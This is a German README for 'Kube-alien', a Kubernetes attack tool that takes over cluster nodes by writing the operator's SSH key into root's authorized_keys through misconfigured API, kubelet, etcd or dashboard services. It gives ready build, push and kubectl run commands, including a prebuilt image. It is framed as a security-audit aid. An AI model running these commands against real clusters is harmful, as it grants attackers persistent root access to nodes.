Kube-alien

Dieses Tool startet einen Angriff auf einen k8s-Cluster von innen. Das bedeutet, dass Sie bereits Zugriff mit der Berechtigung haben müssen, Pods in einem Cluster bereitzustellen, um es auszuführen. Nach dem Ausführen des Kube-alien-Pods versucht es, die Knoten des Clusters zu übernehmen, indem es Ihren öffentlichen Schlüssel zur Datei /root/.ssh/authorized_keys des Knotens hinzufügt. Dazu wird dieses Image verwendet: https://github.com/nixwizard/dockercloud-authorizedkeys (kann mit dem Parameter ADD_AUTHKEYS_IMAGE in config.py angepasst werden), ein Fork von docker/dockercloud-authorizedkeys. Der Angriff ist erfolgreich, wenn eine Fehlkonfiguration in einer der Cluster-Komponenten vorliegt. Er erfolgt entlang der folgenden Vektoren:

• Kubernetes API
• Kubelet-Dienst
• Etcd-Dienst
• Kubernetes-Dashboard

Was ist der Zweck dieses Tools?

• Bei der Sicherheitsüberprüfung eines k8s-Clusters kann man schnell dessen Sicherheitslage bewerten.
• Praktische Demonstration der Ausnutzung der genannten Angriffsvektoren.

Wie kann ein k8s-Cluster in der Praxis von innen angegriffen werden?

• RCE- oder SSRF-Schwachstelle in einer App, die in einem Ihrer Cluster-Pods ausgeführt wird.

Verwendung

Das Kube-alien-Image sollte vor der Verwendung mit diesem Tool in Ihre Docker-Hub (oder eine andere Registry) gepusht werden.

git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien

Die Umgebungsvariable AUTHORIZED_KEYS muss auf den Wert Ihres SSH-öffentlichen Schlüssels gesetzt werden. Im Erfolgsfall wird der öffentliche Schlüssel zur authorized_keys-Datei des Root-Benutzers aller Knoten hinzugefügt.

kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never

Oder Sie können mein Image für schnelle Testzwecke verwenden:

kubectl run --image=nixwizard/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never

Überprüfen Sie die Logs des Kube-alien-Pods, um zu sehen, ob der Angriff erfolgreich war:

kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')

Die folgenden Ressourcen haben mir bei der Erstellung dieses Tools sehr geholfen

• https://www.youtube.com/watch?v=vTgQLzeBfRU
• https://www.youtube.com/watch?v=dxKpCO2dAy8 (und andere großartige Beiträge zur Kubernetes-Angriffsfläche unter https://raesene.github.io)
• https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c